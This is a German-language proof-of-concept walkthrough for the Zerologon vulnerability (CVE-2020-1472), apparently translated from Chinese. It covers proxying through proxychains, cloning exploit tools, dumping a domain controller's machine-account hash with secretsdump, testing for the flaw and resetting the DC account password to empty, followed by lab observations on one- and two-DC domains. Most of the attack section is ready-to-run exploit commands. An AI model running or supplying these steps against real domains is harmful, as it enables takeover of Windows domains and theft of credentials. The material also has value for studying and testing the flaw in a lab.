CVE-2020-1472 POC

Reproduktion dieser Schwachstelle in einer Windows-Domänenumgebung unter macOS über einen Proxychains-Proxy.

Umgebung

DC(primärer Domänencontroller):

Domain User(Domänenmitgliedsrechner):

Einrichten eines SOCKS5-Forward-Proxys direkt über gost.

Attack Hacker(Angriffsrechner):

Konfiguration von proxychains4

vim  /Users/xq17/.proxychains/proxychains.conf

PrxoyList-Liste hinzufügen

[ProxyList] socks5 10.211.55.42 8099

Attack Tools(Angriffswerkzeuge):

1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

Falls bei der Ausführung dieser Fehler auftritt:

Dies deutet auf ein Problem mit dem Impacket-Modul hin. Versuchen Sie, das Impacket-Modul zu deinstallieren und die neueste Version von GitHub zu installieren.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

Das Problem sollte damit behoben sein.

c#-Tool: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

Exploit-Schritte

1. Zunächst versuchen, das Domänencontroller-Passwort zu verwenden, um den Hash des Domänencomputer-Kontos zu exportieren, um ihn später mit dem geänderten vergleichen zu können.

   root@kitploit:~

   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
   
   或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
   
   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
   

   

2. Mit zerologon_tester.py prüfen, ob die Schwachstelle existiert

   python3 zerologon_tester.py DC 10.211.55.38

   

   Rückgabe "Success" bedeutet, dass die Schwachstelle existiert.

3. Mit cve-2020-1472-exploit.py das Computerkonto zurücksetzen

   python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

   

4. Erneut prüfen, ob das Computer-Passwort auf leer gesetzt wurde.

   

Frage

In einer Einzeldomänenumgebung:

Kann einwandfrei ausgeführt werden, nach einem Neustart des Domänencontrollers treten keine Anomalien auf, aber die DNS der Domänenmitgliedsrechner haben Probleme, was die Authentifizierung nicht beeinträchtigt.

Nach der Passwortwiederherstellung:

In einer Zwei-Domänenumgebung, ein primärer Domänencontroller (DC) und ein Backup-Domänencontroller (DC01):

Zuerst die Computer-Hashes beider Domänencontroller abrufen und feststellen, dass sie unterschiedlich sind.

Versuch, den sekundären Domänencontroller anzugreifen, stellte fest, dass der primäre nicht betroffen war, und die Daten von ntdis.dist wurden ebenfalls synchronisiert.

Versuch, den primären Domänencontroller anzugreifen, net time /domain und die Einzeldomänenumgebung zeigen ebenfalls Fehler, aber nach der Passwortwiederherstellung erholt es sich sofort.

Neu erstellte Konten können direkt synchronisiert werden.

Passwortänderung beeinträchtigt die Synchronisation ebenfalls nicht.

Meiner Meinung nach wurden bisher keine Probleme mit der Domain-Trennung festgestellt. Es wird empfohlen, diesen Ablauf einmal durchzugehen. Bei Fragen könnt ihr euch gerne an mich wenden!

Referenzen

Netlogon-Privilegienausweitungsschwachstelle (CVE-2020-1472) Prinzipanalyse und Verifikation

PDF (chinesische Version)

NAXG\CVE-2020-1472

Einrichtung der Zwei-Domänenumgebung